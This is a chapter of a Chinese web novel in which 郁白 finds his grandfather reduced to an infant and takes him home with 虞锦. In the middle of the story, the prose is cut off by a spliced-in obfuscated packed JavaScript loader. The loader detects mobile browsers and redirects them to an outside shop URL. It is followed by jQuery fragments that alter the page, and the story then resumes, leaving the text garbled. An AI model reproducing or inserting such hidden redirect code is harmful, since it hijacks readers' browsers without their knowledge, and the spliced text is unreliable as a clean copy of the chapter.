13. 完美基因

作品:《规则说必须爱我[无限]

    郁白站在那扇铁门前,很久没有动。


    虞锦站在他身边,没有说话。


    从规则之城到这里,他一路上都很安静。不是平时那种玩味的安静,而是一种更深的、让人不知道该怎么靠近的安静。


    他什么都没问。


    爷爷长什么样?还认得出他吗?还记得他吗?


    什么都没问。


    只是跟着她走,一步一步,穿过基因优化中心,穿过模板库,穿过那扇写着“D级禁区”的门,一直走到这里。


    现在他站在最底层的入口,看着那扇锈迹斑斑的铁门。


    “就是这儿?”他问。


    声音很平,听不出任何情绪。


    “就是这儿。”虞锦说。


    他伸出手,按在门上。


    铁门很凉,凉到隔着空气都能感觉到那种寒意。但他没有缩手,就那么按着,像是在确认什么。


    “我小时候,”他忽然开口,“想过很多次,如果有一天见到他,要说什么。”


    虞锦没有接话。


    “想过骂他。想过问他为什么不管我。想过告诉他我恨他。”他顿了顿,“后来想得多了,就不想了。”


    “为什么?”


    “因为想也没用。”他说,“他不在。”


    他的手从门上移开,垂在身侧。


    “现在他在了。”虞锦说。


    郁白转过头,看着她。


    他的眼睛里有很复杂的东西——期待,害怕,犹豫,还有一点点光。


    “你陪我进去?”他问。


    虞锦点头。


    他深吸一口气,推开门。


    门后是一条很短的走廊,短到只有三步。


    三步之后,是一个房间。


    很小,很暗,只有一张桌子,一把椅子,一根燃了一半的蜡烛。


    椅子上没有人。


    郁白站在门口,目光扫过整个房间——桌子,椅子,蜡烛,墙角那个隐蔽的柜子。


    没有人。


    “人呢?”他问,声音有点紧。


    虞锦也愣住了。


    老人呢?


    她走的时候他还在,坐在这里,看着那根快要燃尽的蜡烛。他说他出不去,说他和这个副本长在一起了。


    那现在去哪儿了?


    “可能……”她开口,想说什么。


    但没说完。


    因为那个隐蔽的柜子后面,传来一声很轻的响动。


    “哇——”


    婴儿的哭声。


    很小,很弱,像刚出生的那种。


    郁白和虞锦同时看向那个柜子。


    虞锦走过去,推开柜门。


    柜子后面那扇小门开着——就是昨晚老人带她进去的那个“替身室”。


    哭声从里面传出来。


    她走进去。


    郁白跟在后面。


    替身室里,那个玻璃柜还开着。


    但里面那个婴儿,不见了。


    地上,有一团小小的、蜷缩着的东西。


    在动。


    在哭。


    虞锦慢慢走近。


    那是一个婴儿。


    很小很小的婴儿,皮肤是淡粉色的,皱巴巴的,像刚出生没几天。他蜷缩在地上,闭着眼睛,嘴巴一张一合,发出微弱的哭声。


    但那双眼睛——


    那双眼睛的形状,和郁白一模一样。


    虞锦愣住了。


    郁白站在她身后,一动不动。


    婴儿哭了几声,慢慢睁开眼睛。


    那是一双很清澈的眼睛,黑葡萄似的,湿漉漉的,倒映着昏黄的烛光。他看着郁白,眨了一下,又眨了一下。


    然后他笑了。


    那笑容——和郁白笑起来一模一样。


    带着一点狡黠,一点得意,一点“你看我多可爱”的撒娇。


    郁白站在原地,脸上什么表情都没有。


    但虞锦看到他的手,在微微发抖。


    “这……”她开口,声音发干,“这是你爷爷?”


    郁白没有说话。


    他慢慢蹲下来,看着那个婴儿。


    婴儿伸出手,想去抓他的手指。


    那只手太小了,小到只能握住他的一根指头。


    握住了,就不放。


    婴儿看着他,嘴里发出“咿咿呀呀”的声音,像是想说什么。


    郁白低着头,看着那只握住自己手指的小手。


    很久。


    然后他开口,声音哑得不像他:


    “爷爷?”


    婴儿听到这个声音,笑得更开心了。


    “咿——”他挥舞着另一只手,像是在回应。


    郁白闭上眼睛。


    虞锦看到他的睫毛在抖。


    她想起他父亲说的话:


    “你妈死的时候,我才知道,原来人死了就是真的死了。”


    现在他爷爷也死了。


    不,没死。


    变成了婴儿。


    变成了一个什么都不懂、什么都不知道、却还用那种眼神看着他的婴儿。


    这比死了更残忍。


    “怎么回事?”郁白睁开眼睛,看着虞锦。他的眼睛是红的,但没有泪,“他怎么会变成这样?”


    虞锦摇头:


    “我不知道。昨晚他还在,还跟我说话,还说想见你……”


    她忽然想起老人最后说的那句话:


    “我在这儿待了太久,和它长在一起了。出去了反而会散。”


    散了。


    原来“散”是这个意思。


    不是死。


    是变回最初的样子。


    变回什么都没有、什么都不懂、从头开始的样子。


    “他说他出不去。”虞锦轻声说,“他说和这个副本长在一起了。出去了反而会散。”


    郁白沉默了很久。


    他看着那个婴儿,看着那只紧紧握着自己手指的小手。


    “散了。”他重复这个词,“变成这样,就是散了?”


    婴儿听不懂他在说什么,只是笑。


    笑着笑着,打了个哈欠,闭上眼睛,睡着了。


    握着他手指的手,慢慢松开。


    郁白看着那只松开的手,看着那张睡着的脸,看着那和记忆中一模一样的眉眼——


    他终于动了。


    他伸出手,很轻很轻,把婴儿从地上抱起来。


    很小,很轻,像一片羽毛。


    他抱着他,站在那里,一动不动。


    虞锦看着他。


    看着他抱着那个婴儿的姿势——笨拙的,小心翼翼的,像抱着全世界最脆弱的东西。


    她想起他说过的话:


    “我活了这么久,第一次不知道该怎么办。”


    现在他知道了。


    知道怎么办。


    抱着。


    只能抱着。


    他们从替身室出来,回到那个小房间。


    郁白抱着婴儿,坐在那把椅子上。婴儿还在睡,小小的身体蜷在他怀里,呼吸很轻,很均匀。


    虞锦站在旁边,看着他。


    “你打算怎么办?”她问。


    郁白没有立刻回答。


    他看着怀里的婴儿,看了很久。


    然后他说:


    “带他出去。”


    “出去?”


    “规则之城。”他说,“外面。能去哪儿去哪儿。”


    虞锦沉默了几秒:


    “可是他——”


    “他是我爷爷。”郁白打断她,声音很平,“不管变成什么样,他是我爷爷。”


    他抬起头,看着虞锦:


    “我爸等了我一辈子,我没回去。现在他还在那个小镇上等我。这个——”


    他低头看着怀里的婴儿:


    “这个我也不能丢。”


    虞锦看着他。


    看着他的眼睛。


    那里面没有泪,没有崩溃,只有一种很沉很沉的东西。


    那是责任。


    也是爱。


    “好。”她说,“我陪你。”


    郁白看着她,眼里有一点光闪了闪。


    “谢谢。”他说。


    他们走出最底层,走出基因优化中心,走出那个副本。


    婴儿一直睡着,很乖,一次都没醒。


    回到规则之城的时候,天已经黑了——如果那种灰蒙蒙的光算天的话。


    郁白站在街上,抱着那个婴儿,忽然不知道该往哪儿走。


    “去我家?”虞锦问。


    他愣了一下:


    “你家?”


    “公寓。”她说,“你总不能在街上站一夜。”


    郁白看着她,想说什么,又咽了回去。


    “好。”他说。


    虞锦的公寓很小。


    一张床,一张沙发,一张桌子,一把椅子。


    她把床让给郁白和婴儿,自己睡沙发。


    郁白坐在床边,看着那个婴儿。


    婴儿还在睡,小脸红扑扑的,嘴巴微微张着,偶尔砸吧一下,像是在梦里吃奶。


    “他以前不是这样的。”郁白忽然开口。


    虞锦躺在沙发上,没动。


    “他以前很凶。”郁白继续说,“凶我爸,凶我,凶所有人。他骂人的时候,整个镇子都听得见。”


    他顿了顿:


    “但他也抱过我。就一次。我刚出生的时候。我爸说他抱着我,哭了。哭完就把我还给我爸,说‘好好养他’。”


    虞锦转过头,看着他。


    他的侧脸在昏暗的光线里,显得很安静。


    “后来他被关进去了。”他说,“我不知道被关在哪儿。我爸不说。我问过,他不告诉我。后来我就不问了。”


    他低下头,看着婴儿:


    “我以为他死了。”


    虞锦没有说话。


    “现在他没死。”他说,“但也不像活着。”


    他沉默了很久。


    然后他说:


    “虞锦,你说他还会变回去吗?”


    虞锦想了想:


    “我不知道。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359385|199466||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    郁白点点头:


    “我也不知道。”


    他伸出手,轻轻碰了碰婴儿的脸。


    婴儿在睡梦中动了动,嘴角弯起来,像是在笑。


    郁白看着那个笑,忽然也笑了。


    很轻,很淡。


    但那是真正的笑。


    半夜,虞锦醒了。


    不是被吵醒的,是突然就醒了,像有什么东西在叫她。


    她坐起来,看向床边。


    郁白不在。


    婴儿也不在。


    她愣了一下,站起来,走到床边。


    床上只有一团皱巴巴的被子。


    她转身,看向门口。


    门开着一条缝。


    她推开门,走出去。


    走廊尽头,有一个小小的身影。


    郁白站在窗边,抱着婴儿,看着窗外的光柱。


    那些光柱五颜六色的,红的,蓝的,绿的,紫的,把整个规则之城照得像一个巨大的游乐场。


    婴儿醒着,也在看那些光。


    他伸出手,想去抓。


    当然抓不到。


    但他还是伸着,一下一下,像在够什么。


    “漂亮吗?”郁白问。


    婴儿“咿”了一声。


    郁白笑了:


    “漂亮。”


    他指着最近的那根光柱:


    “那个是D级副本,新手去的。我很久没进过副本了,不知道里面什么样。”


    他又指着远处一根金色的:


    “那个是S级,最难的。你妈——你女儿——就是第一任,设计的。她在里面加了很多规则,很难过。”


    婴儿听不懂,只是看。


    郁白低下头,看着他:


    “你以后想进去吗?”


    婴儿眨眨眼。


    “不想也行。”郁白说,“不想就在家待着。我养你。”


    婴儿笑了,伸手去抓他的脸。


    郁白没躲。


    那只小手拍在他脸上,软软的,暖暖的。


    他愣了一下。


    然后他把婴儿抱紧了一点,下巴抵在他小小的头顶上。


    虞锦站在后面,看着这一幕。


    她想起那个在精神病院里等了三年的“妈妈”。


    想起那个在永生病房里活了三百年的女人。


    想起那个在完美基因底层等了无数年的老人。


    他们都等了很久。


    等一个人回来。


    等一个人来看他们。


    等一个人抱他们。


    现在这个人,等到了。


    虽然是以这种方式。


    但等到了。


    她转身,轻轻走回房间。


    让他们待一会儿。


    第二天早上,虞锦醒来的时候,郁白已经坐在沙发上了。


    婴儿不在他怀里。


    “人呢?”她问。


    郁白指了指床。


    虞锦看过去——婴儿躺在床上,四仰八叉的,睡得正香。


    “他半夜不睡了,”郁白说,“非要玩。玩到天亮才睡着。”


    他的语气很无奈,但眼睛里带着笑。


    虞锦也笑了:


    “当爹的感觉怎么样?”


    郁白愣了一下:


    “我不是他爹——”


    “我知道。”虞锦说,“但你现在干的就是这活儿。”


    郁白想了想,笑了:


    “好像……还行。”


    虞锦去倒了杯水,递给郁白。


    他接过,喝了一口。


    “我今天带他去看我爸。”他说。


    虞锦看着他:


    “你爸知道吗?”


    “不知道。但应该会高兴。”


    “那你呢?”


    郁白沉默了几秒。


    然后他说:


    “我也高兴。”


    他看着床上那个小小的身影:


    “虽然他不是原来的那个了。但他还在。还能笑,还能看光,还能抓我的脸。这就够了。”


    虞锦点点头。


    郁白站起来,走到床边,把婴儿轻轻抱起来。


    婴儿醒了,揉揉眼睛,看到他,笑了。


    “走吧。”郁白说,“带你去看你儿子。”


    婴儿听不懂,只是笑。


    虞锦送他们到门口。


    郁白抱着婴儿,站在走廊里,忽然回头:


    “虞锦。”


    “嗯?”


    “你之前问我,如果有一天我困在某一个地方,你会不会来救我。”


    虞锦看着他。


    “现在我知道了。”他说,“你会。”


    他顿了顿:


    “我也会。如果你困住了,我去救你。”


    他说完,转身走了。


    虞锦站在原地,看着他的背影消失在走廊尽头。


    她忽然觉得,这个冰冷的、残酷的、让人绝望的世界,好像没那么冷了。


    因为有人在。


    因为有人愿意来救她。